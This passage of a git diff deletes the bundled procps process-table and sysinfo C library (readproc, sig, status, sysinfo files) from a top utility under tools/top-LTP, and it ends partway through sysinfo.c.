-		    (likely(*ent->d_name > '0') && likely(*ent->d_name <= '9')))
-			break;
-	}
-	pid = strtoul(ent->d_name, NULL, 10);
-	memcpy(path, "/proc/", 6);
-	strcpy(path + 6, ent->d_name);	// trust /proc to not contain evil top-level entries
-//  snprintf(path, sizeof path, "/proc/%s", ent->d_name);
-
-#ifdef FLASK_LINUX
-	if (stat_secure(path, &sb, &secsid) == -1)	/* no such dirent (anymore) */
-#else
-	if (stat(path, &sb) == -1)	/* no such dirent (anymore) */
-#endif
-		goto next_proc;
-
-	if (!p)
-		p = xcalloc(p, sizeof *p);	/* passed buf or alloced mem */
-
-	p->euid = sb.st_uid;	/* need a way to get real uid */
-#ifdef FLASK_LINUX
-	p->secsid = secsid;
-#endif
-	p->pid = pid;
-
-	if ((file2str(path, "stat", sbuf, sizeof sbuf)) == -1)
-		goto next_proc;	/* error reading /proc/#/stat */
-	stat2proc(sbuf, p);	/* parse /proc/#/stat */
-
-	if (flags & PROC_FILLMEM) {	/* read, parse /proc/#/statm */
-		if ((file2str(path, "statm", sbuf, sizeof sbuf)) != -1)
-			statm2proc(sbuf, p);	/* ignore statm errors here */
-	}
-
-	/* statm fields just zero */
-	/*  if (flags & PROC_FILLSTATUS) { */
-	/* read, parse /proc/#/status */
-	if ((file2str(path, "status", sbuf, sizeof sbuf)) != -1) {
-		status2proc(sbuf, p);
-	}
-/*    }*/
-
-	/* some number->text resolving which is time consuming */
-	if (flags & PROC_FILLUSR) {
-		strncpy(p->euser, user_from_uid(p->euid), sizeof p->euser);
-/*        if (flags & PROC_FILLSTATUS) { */
-		strncpy(p->ruser, user_from_uid(p->ruid), sizeof p->ruser);
-		strncpy(p->suser, user_from_uid(p->suid), sizeof p->suser);
-		strncpy(p->fuser, user_from_uid(p->fuid), sizeof p->fuser);
-/*        }*/
-	}
-
-	/* some number->text resolving which is time consuming */
-	if (flags & PROC_FILLGRP) {
-		strncpy(p->egroup, group_from_gid(p->egid), sizeof p->egroup);
-/*        if (flags & PROC_FILLSTATUS) { */
-		strncpy(p->rgroup, group_from_gid(p->rgid), sizeof p->rgroup);
-		strncpy(p->sgroup, group_from_gid(p->sgid), sizeof p->sgroup);
-		strncpy(p->fgroup, group_from_gid(p->fgid), sizeof p->fgroup);
-/*        }*/
-	}
-
-	if ((flags & PROC_FILLCOM) || (flags & PROC_FILLARG))	/* read+parse /proc/#/cmdline */
-		p->cmdline = file2strvec(path, "cmdline");
-	else
-		p->cmdline = NULL;
-
-	if (flags & PROC_FILLENV)	/* read+parse /proc/#/environ */
-		p->environ = file2strvec(path, "environ");
-	else
-		p->environ = NULL;
-
-	return p;
-}
-
-#undef flags
-
-void look_up_our_self(proc_t * p)
-{
-	static char path[32], sbuf[1024];	/* bufs for stat,statm */
-	sprintf(path, "/proc/%d", getpid());
-	file2str(path, "stat", sbuf, sizeof sbuf);
-	stat2proc(sbuf, p);	/* parse /proc/#/stat */
-	file2str(path, "statm", sbuf, sizeof sbuf);
-	statm2proc(sbuf, p);	/* ignore statm errors here */
-	file2str(path, "status", sbuf, sizeof sbuf);
-	status2proc(sbuf, p);
-}
-
-/* Convenient wrapper around openproc and readproc to slurp in the whole process
- * table subset satisfying the constraints of flags and the optional PID list.
- * Free allocated memory with freeproctab().  Access via tab[N]->member.  The
- * pointer list is NULL terminated.
- */
-proc_t **readproctab(int flags, ...)
-{
-	PROCTAB *PT = NULL;
-	proc_t **tab = NULL;
-	int n = 0;
-	va_list ap;
-
-	va_start(ap, flags);	/* pass through args to openproc */
-	if (flags & PROC_UID) {
-		/* temporary variables to ensure that va_arg() instances
-		 * are called in the right order
-		 */
-		uid_t *u;
-		int i;
-
-		u = va_arg(ap, uid_t *);
-		i = va_arg(ap, int);
-		PT = openproc(flags, u, i);
-	} else if (flags & PROC_PID)
-		PT = openproc(flags, va_arg(ap, void *));	/* assume ptr sizes same */
-	else
-		PT = openproc(flags);
-	va_end(ap);
-	do {			/* read table: */
-		tab = xrealloc(tab, (n + 1) * sizeof(proc_t *));	/* realloc as we go, using */
-		tab[n] = readproc(PT, NULL);	/* final null to terminate */
-	} while (tab[n++]);	/* stop when NULL reached */
-	closeproc(PT);
-	return tab;
-}
diff --git a/tools/top-LTP/proc/readproc.h b/tools/top-LTP/proc/readproc.h
deleted file mode 100644
index 3f60c50..0000000
--- a/tools/top-LTP/proc/readproc.h
+++ /dev/null
@@ -1,228 +0,0 @@
-#ifndef PROCPS_PROC_READPROC_H
-#define PROCPS_PROC_READPROC_H
-/*
- * New Interface to Process Table -- PROCTAB Stream (a la Directory streams)
- * Copyright 1996 Charles L. Blake.
- * Copyright 1998 Michael K. Johnson
- * Copyright 1998-2002 Albert Cahalan
- * May be distributed under the terms of the
- * GNU Library General Public License, a copy of which is provided
- * in the file COPYING
- */
-
-#include "procps.h"
-
-#define SIGNAL_STRING
-
-#ifdef FLASK_LINUX
-#include <fs_secure.h>
-#endif
-
-EXTERN_C_BEGIN
-
-/*
- ld	cutime, cstime, priority, nice, timeout, it_real_value, rss,
- c	state,
- d	ppid, pgrp, session, tty, tpgid,
- s	signal, blocked, sigignore, sigcatch,
- lu	flags, min_flt, cmin_flt, maj_flt, cmaj_flt, utime, stime,
- lu	rss_rlim, start_code, end_code, start_stack, kstk_esp, kstk_eip,
- lu	start_time, vsize, wchan, nswap, cnswap,
-*/
-
-/* Basic data structure which holds all information we can get about a process.
- * (unless otherwise specified, fields are read from /proc/#/stat)
- *
- * Most of it comes from task_struct in linux/sched.h
- */
-typedef struct proc_t {
-// 1st 16 bytes
-    int
-        pid,		/* process id */
-    	ppid;		/* pid of parent process */
-    unsigned
-        pcpu;           /* %CPU usage (is not filled in by readproc!!!) */
-    char
-    	state,		/* single-char code for process state (S=sleeping) */
-    	pad_1,		/* padding */
-    	pad_2,		/* padding */
-    	pad_3;		/* padding */
-// 2nd 16 bytes
-    unsigned long long
-	utime,		/* user-mode CPU time accumulated by process */
-	stime,		/* kernel-mode CPU time accumulated by process */
-// and so on...
-	cutime,		/* cumulative utime of process and reaped children */
-	cstime,		/* cumulative stime of process and reaped children */
-	start_time;	/* start time of process -- seconds since 1-1-70 */
-#ifdef SIGNAL_STRING
-    char
-	/* Linux 2.1.7x and up have 64 signals. Allow 64, plus '\0' and padding. */
-	signal[18],	/* mask of pending signals */
-	blocked[18],	/* mask of blocked signals */
-	sigignore[18],	/* mask of ignored signals */
-	sigcatch[18];	/* mask of caught  signals */
-#else
-    long long
-	/* Linux 2.1.7x and up have 64 signals. */
-	signal,		/* mask of pending signals */
-	blocked,	/* mask of blocked signals */
-	sigignore,	/* mask of ignored signals */
-	sigcatch;	/* mask of caught  signals */
-#endif
-    long
-	priority,	/* kernel scheduling priority */
-	timeout,	/* ? */
-	nice,		/* standard unix nice level of process */
-	rss,		/* resident set size from /proc/#/stat (pages) */
-	it_real_value,	/* ? */
-    /* the next 7 members come from /proc/#/statm */
-	size,		/* total # of pages of memory */
-	resident,	/* number of resident set (non-swapped) pages (4k) */
-	share,		/* number of pages of shared (mmap'd) memory */
-	trs,		/* text resident set size */
-	lrs,		/* shared-lib resident set size */
-	drs,		/* data resident set size */
-	dt;		/* dirty pages */
-    unsigned long
-	vm_size,        /* same as vsize in kb */
-	vm_lock,        /* locked pages in kb */
-	vm_rss,         /* same as rss in kb */
-	vm_data,        /* data size */
-	vm_stack,       /* stack size */
-	vm_exe,         /* executable size */
-	vm_lib,         /* library size (all pages, not just used ones) */
-	rtprio,		/* real-time priority */
-	sched,		/* scheduling class */
-	vsize,		/* number of pages of virtual memory ... */
-	rss_rlim,	/* resident set size limit? */
-	flags,		/* kernel flags for the process */
-	min_flt,	/* number of minor page faults since process start */
-	maj_flt,	/* number of major page faults since process start */
-	cmin_flt,	/* cumulative min_flt of process and child processes */
-	cmaj_flt,	/* cumulative maj_flt of process and child processes */
-	nswap,		/* ? */
-	cnswap,		/* cumulative nswap ? */
-	start_code,	/* address of beginning of code segment */
-	end_code,	/* address of end of code segment */
-	start_stack,	/* address of the bottom of stack for the process */
-	kstk_esp,	/* kernel stack pointer */
-	kstk_eip,	/* kernel instruction pointer */
-	wchan;		/* address of kernel wait channel proc is sleeping in */
-    char
-	**environ,	/* environment string vector (/proc/#/environ) */
-	**cmdline;	/* command line string vector (/proc/#/cmdline) */
-    char
-	/* Be compatible: Digital allows 16 and NT allows 14 ??? */
-    	ruser[16],	/* real user name */
-    	euser[16],	/* effective user name */
-    	suser[16],	/* saved user name */
-    	fuser[16],	/* filesystem user name */
-    	rgroup[16],	/* real group name */
-    	egroup[16],	/* effective group name */
-    	sgroup[16],	/* saved group name */
-    	fgroup[16],	/* filesystem group name */
-    	cmd[16];	/* basename of executable file in call to exec(2) */
-    int
-        ruid, rgid,     /* real      */
-        euid, egid,     /* effective */
-        suid, sgid,     /* saved     */
-        fuid, fgid,     /* fs (used for file access only) */
-	pgrp,		/* process group id */
-	session,	/* session id */
-	tty,		/* full device number of controlling terminal */
-	tpgid,		/* terminal process group id */
-	exit_signal,	/* might not be SIGCHLD */
-	processor;      /* current (or most recent?) CPU */
-#ifdef FLASK_LINUX
-	security_id_t secsid;
-#endif
-} proc_t;
-
-/* PROCTAB: data structure holding the persistent information readproc needs
- * from openproc().  The setup is intentionally similar to the dirent interface
- * and other system table interfaces (utmp+wtmp come to mind).
- */
-#include <sys/types.h>
-#include <dirent.h>
-#include <unistd.h>
-typedef struct PROCTAB {
-    DIR*	procfs;
-    int		flags;
-    pid_t*	pids;	/* pids of the procs */
-    uid_t*	uids;	/* uids of procs */
-    int		nuid;	/* cannot really sentinel-terminate unsigned short[] */
-#ifdef FLASK_LINUX
-    security_id_t* sids; /* SIDs of the procs */
-#endif
-} PROCTAB;
-
-/* initialize a PROCTAB structure holding needed call-to-call persistent data
- */
-extern PROCTAB* openproc(int flags, ... /* pid_t*|uid_t*|dev_t*|char* [, int n] */ );
-
-
-/* Convenient wrapper around openproc and readproc to slurp in the whole process
- * table subset satisfying the constraints of flags and the optional PID list.
- * Free allocated memory with freeproctab().  Access via tab[N]->member.  The
- * pointer list is NULL terminated.
- */
-extern proc_t** readproctab(int flags, ... /* same as openproc */ );
-
-/* clean-up open files, etc from the openproc()
- */
-extern void closeproc(PROCTAB* PT);
-
-/* retrieve the next process matching the criteria set by the openproc()
- */
-extern proc_t* readproc(PROCTAB* PT, proc_t* return_buf);
-extern proc_t* ps_readproc(PROCTAB* PT, proc_t* return_buf);
-
-// warning: interface may change
-extern int read_cmdline(char *restrict const dst, unsigned sz, unsigned pid);
-
-extern void look_up_our_self(proc_t *p);
-
-/* deallocate space allocated by readproc
- */
-extern void freeproc(proc_t* p);
-
-/* openproc/readproctab:
- *
- * Return PROCTAB* / *proc_t[] or NULL on error ((probably) "/proc" cannot be
- * opened.)  By default readproc will consider all processes as valid to parse
- * and return, but not actually fill in the cmdline, environ, and /proc/#/statm
- * derived memory fields.
- *
- * `flags' (a bitwise-or of PROC_* below) modifies the default behavior.  The
- * "fill" options will cause more of the proc_t to be filled in.  The "filter"
- * options all use the second argument as the pointer to a list of objects:
- * process status', process id's, user id's.  The third
- * argument is the length of the list (currently only used for lists of user
- * id's since uid_t supports no convenient termination sentinel.)
- */
-#define PROC_FILLMEM    0x0001 /* read statm */
-#define PROC_FILLCOM    0x0002 /* alloc and fill in `cmdline' */
-#define PROC_FILLENV    0x0004 /* alloc and fill in `environ' */
-#define PROC_FILLUSR    0x0008 /* resolve user id number -> user name */
-#define PROC_FILLGRP    0x0010 /* resolve group id number -> group name */
-#define PROC_FILLSTATUS 0x0020 /* read status -- currently unconditional */
-#define PROC_FILLSTAT   0x0040 /* read stat -- currently unconditional */
-#define PROC_FILLWCHAN  0x0080 /* look up WCHAN name */
-#define PROC_FILLARG    0x0100 /* alloc and fill in `cmdline' */
-
-#define PROC_FILLBUG    0x0fff /* No idea what we need */
-#define PROC_FILLANY    0x0000 /* either stat or status will do */
-
-/* Obsolete, consider only processes with one of the passed: */
-#define PROC_PID     0x1000  /* process id numbers ( 0   terminated) */
-#define PROC_UID     0x4000  /* user id numbers    ( length needed ) */
-
-// it helps to give app code a few spare bits
-#define PROC_SPARE_1 0x01000000
-#define PROC_SPARE_2 0x02000000
-#define PROC_SPARE_3 0x04000000
-#define PROC_SPARE_4 0x08000000
-
-EXTERN_C_END
-#endif
diff --git a/tools/top-LTP/proc/sig.c b/tools/top-LTP/proc/sig.c
deleted file mode 100644
index 1cfad86..0000000
--- a/tools/top-LTP/proc/sig.c
+++ /dev/null
@@ -1,273 +0,0 @@
-/*
- * Copyright 1998-2002 by Albert Cahalan; all rights resered.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-#include <signal.h>
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include "sig.h"
-
-/* Linux signals:
- *
- * SIGSYS is required by Unix98.
- * SIGEMT is part of SysV, BSD, and ancient UNIX tradition.
- *
- * They are provided by these Linux ports: alpha, mips, sparc, and sparc64.
- * You get SIGSTKFLT and SIGUNUSED instead on i386, m68k, ppc, and arm.
- * (this is a Linux & libc bug -- both must be fixed)
- *
- * Total garbage: SIGIO SIGINFO SIGIOT SIGLOST SIGCLD
- *                 (popular ones are handled as aliases)
- * Nearly garbage: SIGSTKFLT SIGUNUSED (nothing else to fill slots)
- */
-
-/* Linux 2.3.29 replaces SIGUNUSED with the standard SIGSYS signal */
-#ifndef SIGSYS
-#warning Standards require that <signal.h> define SIGSYS
-#define SIGSYS SIGUNUSED
-#endif
-
-/* If we see both, it is likely SIGSTKFLT (junk) was replaced. */
-#ifdef SIGEMT
-#undef SIGSTKFLT
-#endif
-
-#ifndef SIGRTMIN
-#warning Standards require that <signal.h> define SIGRTMIN; assuming 32
-#define SIGRTMIN 32
-#endif
-
-/* It seems the SPARC libc does not know the kernel supports SIGPWR. */
-#ifndef SIGPWR
-#warning Your header files lack SIGPWR. (assuming it is number 29)
-#define SIGPWR 29
-#endif
-
-typedef struct mapstruct {
-	const char *name;
-	int num;
-} mapstruct;
-
-static const mapstruct sigtable[] = {
-	{"ABRT", SIGABRT},	/* IOT */
-	{"ALRM", SIGALRM},
-	{"BUS", SIGBUS},
-	{"CHLD", SIGCHLD},	/* CLD */
-	{"CONT", SIGCONT},
-#ifdef SIGEMT
-	{"EMT", SIGEMT},
-#endif
-	{"FPE", SIGFPE},
-	{"HUP", SIGHUP},
-	{"ILL", SIGILL},
-	{"INT", SIGINT},
-	{"KILL", SIGKILL},
-	{"PIPE", SIGPIPE},
-	{"POLL", SIGPOLL},	/* IO */
-	{"PROF", SIGPROF},
-	{"PWR", SIGPWR},
-	{"QUIT", SIGQUIT},
-	{"SEGV", SIGSEGV},
-#ifdef SIGSTKFLT
-	{"STKFLT", SIGSTKFLT},
-#endif
-	{"STOP", SIGSTOP},
-	{"SYS", SIGSYS},	/* UNUSED */
-	{"TERM", SIGTERM},
-	{"TRAP", SIGTRAP},
-	{"TSTP", SIGTSTP},
-	{"TTIN", SIGTTIN},
-	{"TTOU", SIGTTOU},
-	{"URG", SIGURG},
-	{"USR1", SIGUSR1},
-	{"USR2", SIGUSR2},
-	{"VTALRM", SIGVTALRM},
-	{"WINCH", SIGWINCH},
-	{"XCPU", SIGXCPU},
-	{"XFSZ", SIGXFSZ}
-};
-
-static const int number_of_signals = sizeof(sigtable) / sizeof(mapstruct);
-
-static int compare_signal_names(const void *a, const void *b)
-{
-	return strcasecmp(((const mapstruct *)a)->name,
-			  ((const mapstruct *)b)->name);
-}
-
-/* return -1 on failure */
-int signal_name_to_number(const char *restrict name)
-{
-	long val;
-	int offset;
-
-	/* clean up name */
-	if (!strncasecmp(name, "SIG", 3))
-		name += 3;
-
-	if (!strcasecmp(name, "CLD"))
-		return SIGCHLD;
-	if (!strcasecmp(name, "IO"))
-		return SIGPOLL;
-	if (!strcasecmp(name, "IOT"))
-		return SIGABRT;
-
-	/* search the table */
-	{
-		const mapstruct ms = { name, 0 };
-		const mapstruct *restrict const ptr = bsearch(&ms,
-							      sigtable,
-							      number_of_signals,
-							      sizeof(mapstruct),
-							      compare_signal_names);
-		if (ptr)
-			return ptr->num;
-	}
-
-	if (!strcasecmp(name, "RTMIN"))
-		return SIGRTMIN;
-	if (!strcasecmp(name, "EXIT"))
-		return 0;
-	if (!strcasecmp(name, "NULL"))
-		return 0;
-
-	offset = 0;
-	if (!strncasecmp(name, "RTMIN+", 6)) {
-		name += 6;
-		offset = SIGRTMIN;
-	}
-
-	/* not found, so try as a number */
-	{
-		char *endp;
-		val = strtol(name, &endp, 10);
-		if (*endp || endp == name)
-			return -1;	/* not valid */
-	}
-	if (val + SIGRTMIN > 127)
-		return -1;	/* not valid */
-	return val + offset;
-}
-
-static const char *signal_number_to_name(int signo)
-{
-	static char buf[32];
-	int n = number_of_signals;
-	signo &= 0x7f;		/* need to process exit values too */
-	while (n--) {
-		if (sigtable[n].num == signo)
-			return sigtable[n].name;
-	}
-	if (signo == SIGRTMIN)
-		return "RTMIN";
-	if (signo)
-		sprintf(buf, "RTMIN+%d", signo - SIGRTMIN);
-	else
-		strcpy(buf, "0");	/* AIX has NULL; Solaris has EXIT */
-	return buf;
-}
-
-int print_given_signals(int argc, const char *restrict const *restrict argv,
-			int max_line)
-{
-	char buf[1280];		/* 128 signals, "RTMIN+xx" is largest */
-	int ret = 0;		/* to be used as exit code by caller */
-	int place = 0;		/* position on this line */
-	int amt;
-	if (argc > 128)
-		return 1;
-	while (argc--) {
-		char tmpbuf[16];
-		const char *restrict const txt = *argv;
-		if (*txt >= '0' && *txt <= '9') {
-			long val;
-			char *endp;
-			val = strtol(txt, &endp, 10);
-			if (*endp) {
-				fprintf(stderr, "Signal \"%s\" not known.\n",
-					txt);
-				ret = 1;
-				goto end;
-			}
-			amt = sprintf(tmpbuf, "%s", signal_number_to_name(val));
-		} else {
-			int sno;
-			sno = signal_name_to_number(txt);
-			if (sno == -1) {
-				fprintf(stderr, "Signal \"%s\" not known.\n",
-					txt);
-				ret = 1;
-				goto end;
-			}
-			amt = sprintf(tmpbuf, "%d", sno);
-		}
-
-		if (!place) {
-			strcpy(buf, tmpbuf);
-			place = amt;
-			goto end;
-		}
-		if (amt + place + 1 > max_line) {
-			printf("%s\n", buf);
-			strcpy(buf, tmpbuf);
-			place = amt;
-			goto end;
-		}
-		sprintf(buf + place, " %s", tmpbuf);
-		place += amt + 1;
-end:
-		argv++;
-	}
-	if (place)
-		printf("%s\n", buf);
-	return ret;
-}
-
-void pretty_print_signals(void)
-{
-	int i = 0;
-	while (++i <= number_of_signals) {
-		int n;
-		n = printf("%2d %s", i, signal_number_to_name(i));
-		if (i % 7)
-			printf
-			    ("           \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
-			     + n);
-		else
-			printf("\n");
-	}
-	if ((i - 1) % 7)
-		printf("\n");
-}
-
-void unix_print_signals(void)
-{
-	int pos = 0;
-	int i = 0;
-	while (++i <= number_of_signals) {
-		if (i - 1)
-			printf("%c",
-			       (pos > 73) ? (pos = 0, '\n') : (pos++, ' '));
-		pos += printf("%s", signal_number_to_name(i));
-	}
-	printf("\n");
-}
-
-/* sanity check */
-static int init_signal_list(void) __attribute__ ((constructor));
-static int init_signal_list(void)
-{
-	if (number_of_signals != 31) {
-		fprintf(stderr,
-			"WARNING: %d signals -- adjust and recompile.\n",
-			number_of_signals);
-	}
-	return 0;
-}
diff --git a/tools/top-LTP/proc/sig.h b/tools/top-LTP/proc/sig.h
deleted file mode 100644
index d9518e5..0000000
--- a/tools/top-LTP/proc/sig.h
+++ /dev/null
@@ -1,28 +0,0 @@
-#ifndef PROC_SIG_H
-#define PROC_SIG_H
-/*
- * Copyright 1998-2002 by Albert Cahalan; all rights resered.
- * This file may be used subject to the terms and conditions of the
- * GNU Library General Public License Version 2, or any later version
- * at your option, as published by the Free Software Foundation.
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU Library General Public License for more details.
- */
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-/* return -1 on failure */
-extern int signal_name_to_number(const char *restrict name);
-
-extern int print_given_signals(int argc, const char *restrict const *restrict argv, int max_line);
-
-extern void pretty_print_signals(void);
-
-extern void unix_print_signals(void);
-
-EXTERN_C_END
-#endif
diff --git a/tools/top-LTP/proc/status.c b/tools/top-LTP/proc/status.c
deleted file mode 100644
index e335e8d..0000000
--- a/tools/top-LTP/proc/status.c
+++ /dev/null
@@ -1,31 +0,0 @@
-// Copyright (C) 1992-1998 by Michael K. Johnson, johnsonm@redhat.com
-// Copyright 2002 Albert Cahalan
-//
-// This file is placed under the conditions of the GNU Library
-// General Public License, version 2, or any later version.
-// See file COPYING for information on distribution conditions.
-
-#include "procps.h"
-#include "readproc.h"
-#include "status.h"
-
-const char *status(const proc_t * restrict task)
-{
-	static char buf[4] = "   ";
-
-	buf[0] = task->state;
-
-	if (task->rss == 0 && task->state != 'Z')
-		buf[1] = 'W';
-	else
-		buf[1] = ' ';
-
-	if (task->nice < 0)
-		buf[2] = '<';
-	else if (task->nice > 0)
-		buf[2] = 'N';
-	else
-		buf[2] = ' ';
-
-	return (buf);
-}
diff --git a/tools/top-LTP/proc/status.h b/tools/top-LTP/proc/status.h
deleted file mode 100644
index f1e141f..0000000
--- a/tools/top-LTP/proc/status.h
+++ /dev/null
@@ -1,12 +0,0 @@
-#ifndef PROC_STATUS_H
-#define PROC_STATUS_H
-
-#include "procps.h"
-
-EXTERN_C_BEGIN
-
-extern const char * status(const proc_t *restrict task);
-
-EXTERN_C_END
-
-#endif
diff --git a/tools/top-LTP/proc/sysinfo.c b/tools/top-LTP/proc/sysinfo.c
deleted file mode 100644
index 5f546cd..0000000
--- a/tools/top-LTP/proc/sysinfo.c
+++ /dev/null
@@ -1,592 +0,0 @@
-// Copyright (C) 1992-1998 by Michael K. Johnson, johnsonm@redhat.com
-// Copyright 1998-2002 Albert Cahalan
-//
-// This file is placed under the conditions of the GNU Library
-// General Public License, version 2, or any later version.
-// See file COPYING for information on distribution conditions.
-
-/* File for parsing top-level /proc entities. */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <ctype.h>
-#include <locale.h>
-
-#include <unistd.h>
-#include <fcntl.h>
-#include "version.h"
-#include "sysinfo.h"		/* include self to verify prototypes */
-
-#ifndef HZ
-#include <netinet/in.h>		/* htons */
-#endif
-
-long smp_num_cpus;		/* number of CPUs */
-
-#define BAD_OPEN_MESSAGE					\
-"Error: /proc must be mounted\n"				\
-"  To mount /proc at boot you need an /etc/fstab line like:\n"	\
-"      /proc   /proc   proc    defaults\n"			\
-"  In the meantime, mount /proc /proc -t proc\n"
-
-#define STAT_FILE    "/proc/stat"
-static int stat_fd = -1;
-#define UPTIME_FILE  "/proc/uptime"
-static int uptime_fd = -1;
-#define LOADAVG_FILE "/proc/loadavg"
-static int loadavg_fd = -1;
-#define MEMINFO_FILE "/proc/meminfo"
-static int meminfo_fd = -1;
-#define VMINFO_FILE "/proc/vmstat"
-static int vminfo_fd = -1;
-
-static char buf[1024];
-
-/* This macro opens filename only if necessary and seeks to 0 so
- * that successive calls to the functions are more efficient.
- * It also reads the current contents of the file into the global buf.
- */
-#define FILE_TO_BUF(filename, fd) do{				\
-    static int local_n;						\
-    if (fd == -1 && (fd = open(filename, O_RDONLY)) == -1) {	\
-	fprintf(stderr, BAD_OPEN_MESSAGE);			\
-	fflush(NULL);						\
-	_exit(102);						\
-    }								\
-    lseek(fd, 0L, SEEK_SET);					\
-    if ((local_n = read(fd, buf, sizeof buf - 1)) < 0) {	\
-	perror(filename);					\
-	fflush(NULL);						\
-	_exit(103);						\
-    }								\
-    buf[local_n] = '\0';					\
-}while (0)
-
-/* evals 'x' twice */
-#define SET_IF_DESIRED(x,y) do{  if (x) *(x) = (y); }while (0)
-
-/***********************************************************************/
-int uptime(double *restrict uptime_secs, double *restrict idle_secs)
-{
-	double up = 0, idle = 0;
-	char *restrict savelocale;
-
-	FILE_TO_BUF(UPTIME_FILE, uptime_fd);
-	savelocale = setlocale(LC_NUMERIC, NULL);
-	setlocale(LC_NUMERIC, "C");
-	if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
-		setlocale(LC_NUMERIC, savelocale);
-		fprintf(stderr, "bad data in " UPTIME_FILE "\n");
-		return 0;
-	}
-	setlocale(LC_NUMERIC, savelocale);
-	SET_IF_DESIRED(uptime_secs, up);
-	SET_IF_DESIRED(idle_secs, idle);
-	return up;		/* assume never be zero seconds in practice */
-}
-
-/***********************************************************************
- * Some values in /proc are expressed in units of 1/HZ seconds, where HZ
- * is the kernel clock tick rate. One of these units is called a jiffy.
- * The HZ value used in the kernel may vary according to hacker desire.
- * According to Linus Torvalds, this is not true. He considers the values
- * in /proc as being in architecture-dependant units that have no relation
- * to the kernel clock tick rate. Examination of the kernel source code
- * reveals that opinion as wishful thinking.
- *
- * In any case, we need the HZ constant as used in /proc. (the real HZ value
- * may differ, but we don't care) There are several ways we could get HZ:
- *
- * 1. Include the kernel header file. If it changes, recompile this library.
- * 2. Use the sysconf() function. When HZ changes, recompile the C library!
- * 3. Ask the kernel. This is obviously correct...
- *
- * Linus Torvalds won't let us ask the kernel, because he thinks we should
- * not know the HZ value. Oh well, we don't have to listen to him.
- * Someone smuggled out the HZ value. :-)
- *
- * This code should work fine, even if Linus fixes the kernel to match his
- * stated behavior. The code only fails in case of a partial conversion.
- *
- * Recent update: on some architectures, the 2.4 kernel provides an
- * ELF note to indicate HZ. This may be for ARM or user-mode Linux
- * support. This ought to be investigated. Note that sysconf() is still
- * unreliable, because it doesn't return an error code when it is
- * used with a kernel that doesn't support the ELF note. On some other
- * architectures there may be a system call or sysctl() that will work.
- */
-
-unsigned long long Hertz;
-
-static void old_Hertz_hack(void)
-{
-	unsigned long long user_j, nice_j, sys_j, other_j;	/* jiffies (clock ticks) */
-	double up_1, up_2, seconds;
-	unsigned long long jiffies;
-	unsigned h;
-	char *restrict savelocale;
-
-	savelocale = setlocale(LC_NUMERIC, NULL);
-	setlocale(LC_NUMERIC, "C");
-	do {
-		FILE_TO_BUF(UPTIME_FILE, uptime_fd);
-		sscanf(buf, "%lf", &up_1);
-		/* uptime(&up_1, NULL); */
-		FILE_TO_BUF(STAT_FILE, stat_fd);
-		sscanf(buf, "cpu %Lu %Lu %Lu %Lu", &user_j, &nice_j, &sys_j,
-		       &other_j);
-		FILE_TO_BUF(UPTIME_FILE, uptime_fd);
-		sscanf(buf, "%lf", &up_2);
-		/* uptime(&up_2, NULL); */
-	} while ((long long)((up_2 - up_1) * 1000.0 / up_1));	/* want under 0.1% error */
-	setlocale(LC_NUMERIC, savelocale);
-	jiffies = user_j + nice_j + sys_j + other_j;
-	seconds = (up_1 + up_2) / 2;
-	h = (unsigned)((double)jiffies / seconds / smp_num_cpus);
-	/* actual values used by 2.4 kernels: 32 64 100 128 1000 1024 1200 */
-	switch (h) {
-	case 9 ... 11:
-		Hertz = 10;
-		break;		/* S/390 (sometimes) */
-	case 18 ... 22:
-		Hertz = 20;
-		break;		/* user-mode Linux */
-	case 30 ... 34:
-		Hertz = 32;
-		break;		/* ia64 emulator */
-	case 48 ... 52:
-		Hertz = 50;
-		break;
-	case 58 ... 61:
-		Hertz = 60;
-		break;
-	case 62 ... 65:
-		Hertz = 64;
-		break;		/* StrongARM /Shark */
-	case 95 ... 105:
-		Hertz = 100;
-		break;		/* normal Linux */
-	case 124 ... 132:
-		Hertz = 128;
-		break;		/* MIPS, ARM */
-	case 195 ... 204:
-		Hertz = 200;
-		break;		/* normal << 1 */
-	case 253 ... 260:
-		Hertz = 256;
-		break;
-	case 393 ... 408:
-		Hertz = 400;
-		break;		/* normal << 2 */
-	case 790 ... 808:
-		Hertz = 800;
-		break;		/* normal << 3 */
-	case 990 ... 1010:
-		Hertz = 1000;
-		break;		/* ARM */
-	case 1015 ... 1035:
-		Hertz = 1024;
-		break;		/* Alpha, ia64 */
-	case 1180 ... 1220:
-		Hertz = 1200;
-		break;		/* Alpha */
-	default:
-#ifdef HZ
-		Hertz = (unsigned long long)HZ;	/* <asm/param.h> */
-#else
-		/* If 32-bit or big-endian (not Alpha or ia64), assume HZ is 100. */
-		Hertz = (sizeof(long) == sizeof(int)
-			 || htons(999) == 999) ? 100UL : 1024UL;
-#endif
-		fprintf(stderr, "Unknown HZ value! (%d) Assume %Ld.\n", h,
-			Hertz);
-	}
-}
-
-#ifndef AT_CLKTCK
-#define AT_CLKTCK       17	/* frequency of times() */
-#endif
-
-extern char **environ;
-
-/* for ELF executables, notes are pushed before environment and args */
-static unsigned long find_elf_note(unsigned long findme)
-{
-	unsigned long *ep = (unsigned long *)environ;
-	while (*ep++) ;
-	while (*ep) {
-		if (ep[0] == findme)
-			return ep[1];
-		ep += 2;
-	}
-	return 42;
-}
-
-static void init_libproc(void) __attribute__ ((constructor));
-static void init_libproc(void)
-{
-	/* ought to count CPUs in /proc/stat instead of relying
-	 * on glibc, which foolishly tries to parse /proc/cpuinfo
-	 */
-	smp_num_cpus = sysconf(_SC_NPROCESSORS_CONF);	// or _SC_NPROCESSORS_ONLN
-	if (smp_num_cpus < 1)
-		smp_num_cpus = 1;	/* SPARC glibc is buggy */
-
-	if (linux_version_code > LINUX_VERSION(2, 4, 0)) {
-		Hertz = find_elf_note(AT_CLKTCK);
-		if (Hertz != 42)
-			return;
